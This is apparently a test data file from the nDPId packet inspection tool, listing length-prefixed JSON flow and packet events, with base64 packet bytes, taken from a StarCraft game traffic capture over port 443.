+00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":245,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1437389968486,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.104","src_port":3492,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":486982,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoaD9AAIAGnzjAqAFkAuQuaA2kAbvjTIWjXKb5cVARAQDtEwAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":246,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1437389968487,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.104","src_port":3489,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":487209,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoaEBAAIAGnzfAqAFkAuQuaA2hAbso9r9xF3ZyNlARAP06DgAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":247,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1437389968487,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.104","src_port":3490,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":487307,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoaEFAAIAGnzbAqAFkAuQuaA2iAbuuMy\/9hNS6Y1ARAQCOtQAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":248,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1437389968487,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.104","src_port":3491,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":487427,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoaEJAAIAGnzXAqAFkAuQuaA2jAbuWFKpTUfGXQ1ARBFh\/KAAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":249,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1437389968487,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.114","src_port":3482,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":487518,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoGWNAAIAG7grAqAFkAuQucg2aAbv4rJBdJdjUo1ARAP0omQAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":250,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1437389968487,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.114","src_port":3480,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":487631,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoGWRAAIAG7gnAqAFkAuQucg2YAbs5x3Vg1+NhTFARAQDDxgAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":251,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1437389968487,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.114","src_port":3481,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":487742,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoGWVAAIAG7gjAqAFkAuQucg2ZAbvryQjoVlrkVFARAQB8vAAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":252,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1437389968487,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.114","src_port":3479,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":487849,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoGWZAAIAG7gfAqAFkAuQucg2XAbvNUW978CZu3VARBF0M8QAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":253,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1437389968487,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"199.38.164.156","src_port":3486,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":487945,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoPo5AAIAGjnLAqAFkxyaknA2eAbtl4GJo2w7rJVAR9fPuOQAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":254,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1437389968488,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"173.194.113.224","src_port":3484,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":488066,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAobDZAAIAGrOrAqAFkrcJx4A2cAbsxkmlKz83WwVARAP18ZAAA"} +00494{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":519450,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"IImEa8W6hCYVPnXECABFAABdOZFAADkGFKgC5C5ywKgBZAG7DZol2NSj+KyQXlAYAk8nagAAFQMCADAMud3SaYTsSqa\/uoo0a5E8VCc4Xkt3IWOikvjNzbZ6\/KN17SBOZ1wiAn+Wb8fZvA4="} +00418{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":519504,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoGWdAAIAG7gbAqAFkAuQucg2aAbv4rJBeJdjU2FAUAAApXQAA"} +00426{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":519595,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoOZJAADkGFNwC5C5ywKgBZAG7DZol2NTY+KyQXlARAk8nEQAAAAAAAAAA"} +00493{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":519703,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"IImEa8W6hCYVPnXECABFAABdHrRAADkGL4UC5C5ywKgBZAG7DZfwJm7dzVFvfFAYAvbMYQAAFQMCADAisnLQsHrL1EoW2shNoX67xhkXstAI1yd6wVWuICpme1diCl2In\/GtYthhkjE1BS4="} +00418{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":519732,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoGWhAAIAG7gXAqAFkAuQucg2XAbvNUW988CZvElAUAAARFQAA"} +00426{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":519891,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoHrVAADkGL7kC5C5ywKgBZAG7DZfwJm8SzVFvfFARAvYOIgAAAAAAAAAA"} +00492{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":519988,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"IImEa8W6hCYVPnXECABFAABdZwtAADkG5y0C5C5ywKgBZAG7DZlWWuRU68kI6VAYAk+37QAAFQMCADBkKOWBHzDl37wozuIxUqGksDGbpGilDaRqgrJ95jL33eBT4nQmWu5qzsKHkzuYbBI="} +00418{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":520017,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoGWlAAIAG7gTAqAFkAuQucg2ZAbvryQjpVlrkiVAUAAB9gwAA"} +00426{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":520093,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoZwxAADkG52EC5C5ywKgBZAG7DZlWWuSJ68kI6VARAk97NwAAAAAAAAAA"} +00494{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":520682,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"IImEa8W6hCYVPnXECABFAABdGMVAADkGNX4C5C5owKgBZAG7DaRcpvlx40yFpFAYAi2\/cgAAFQMCADCHvY3Mj+EIqhLZWr7xkOkCQpCu81AAuIN2GL29a+w7fDrgr\/wsC4qtrqrTilg07F0="} +00418{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":520710,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoaEpAAIAGny3AqAFkAuQuaA2kAbvjTIWkXKb5plAUAADt2gAA"} +00426{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":520780,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoGMZAADkGNbIC5C5owKgBZAG7DaRcpvmm40yFpFARAi3rsAAAAAAAAAAA"} +00493{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":521653,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"IImEa8W6hCYVPnXECABFAABd0ZRAADkGfK4C5C5owKgBZAG7DaKE1LpjrjMv\/lAYAi2OuwAAFQMCADAOk8uVyOotmLX2HoTUFpC+IVWXwl6ab8qQjuO+KPoI4xJC+fUMLiJl2rPTnnO4+D0="} +00419{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":521681,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoaEtAAIAGnyzAqAFkAuQuaA2iAbuuMy\/+hNS6mFAUAACPfAAA"} +00427{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":521758,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAo0ZVAADkGfOIC5C5owKgBZAG7DaKE1LqYrjMv\/lARAi2NUgAAAAAAAAAA"} +00426{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":521934,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoCWgAADUGmrmtwnHgwKgBZAG7DZzPzdbBMZJpS1ARAXR77AAAAAAAAAAA"} +00418{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":521953,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAobDdAAIAGrOnAqAFkrcJx4A2cAbsxkmlLz83WwlAQAP18YwAA"} +00492{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":521976,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"IImEa8W6hCYVPnXECABFAABdqvpAADkGo0gC5C5owKgBZAG7DaNR8ZdDlhSqVFAYAi3xwAAAFQMCADAv7rGxhq2HqkFRX8I5oUWALbAWkrPmznIlHUyodNC0DL7UHLBQOucKALsB4ikroko="} +00418{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":521992,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoaExAAIAGnyvAqAFkAuQuaA2jAbuWFKpUUfGXeFAUAACDRwAA"} +00426{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":522135,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoqvtAADkGo3wC5C5owKgBZAG7DaNR8Zd4lhSqVFARAi2BHQAAAAAAAAAA"} +00493{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":525163,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"IImEa8W6hCYVPnXECABFAABd8QVAADkGXTMC5C5ywKgBZAG7DZjX42FMOcd1YVAYArORfwAAFQMCADAnMl10t6P0LqwYwp17IIJpYKwGMbTqEggZBxrTB\/KdrEJjLBHayLFZyNZHXp1TB8c="} +00418{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":276,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":525183,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoGW1AAIAG7gDAqAFkAuQucg2YAbs5x3Vh1+NhgVAUAADEjQAA"} +00426{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":525317,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAo8QZAADkGXWcC5C5ywKgBZAG7DZjX42GBOcd1YVARArPB3QAAAAAAAAAA"} +00493{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":541696,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"IImEa8W6hCYVPnXECABFAABdD8xAADkGPncC5C5owKgBZAG7DaEXdnI2KPa\/clAYAi2WsQAAFQMCADDEyuty98HROVf0C9dCpYEUA7Jug9PX6pMmtPtLY+MIAZP0XBy+LRgi1JBN1q929Nc="} +00418{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":541743,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoaE5AAIAGnynAqAFkAuQuaA2hAbso9r9yF3Zya1AUAAA60gAA"} +00427{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":541801,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoD81AADkGPqsC5C5owKgBZAG7DaEXdnJrKPa\/clARAi04qAAAAAAAAAAA"} +00426{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":610178,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoIUtAAPIGObXHJqScwKgBZAG7DZ7bDuslZeBiaVAQFLnPdAAAAAAAAAAA"} +00426{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":610342,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoIUxAAPIGObTHJqScwKgBZAG7DZ7bDuslZeBiaVARFLnPcwAAAAAAAAAA"} +00418{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":610372,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoPo9AAIAGjnHAqAFkxyaknA2eAbtl4GJp2w7rJlAQ9fPuOAAA"} +00443{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":626966,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"hCYVPnXEIImEa8W6CABFAAA5SKhAAIAGzlnAqAFkUO\/QwQ1jBF+OUziQ5cVVBFAY+YMpmwAAZwpNwrdCWBzrqAUDWe7hqKU="} +00420{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":627015,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoSKlAAIAGzmnAqAFkUO\/QwQ1jBF+OUzih5cVVBFAR+YO\/EQAA"} +00426{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":684768,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoVBlAADQGDvpQ79DBwKgBZARfDWPlxVUEjlM4kFAQPaJ7BQAAAAAAAAAA"} 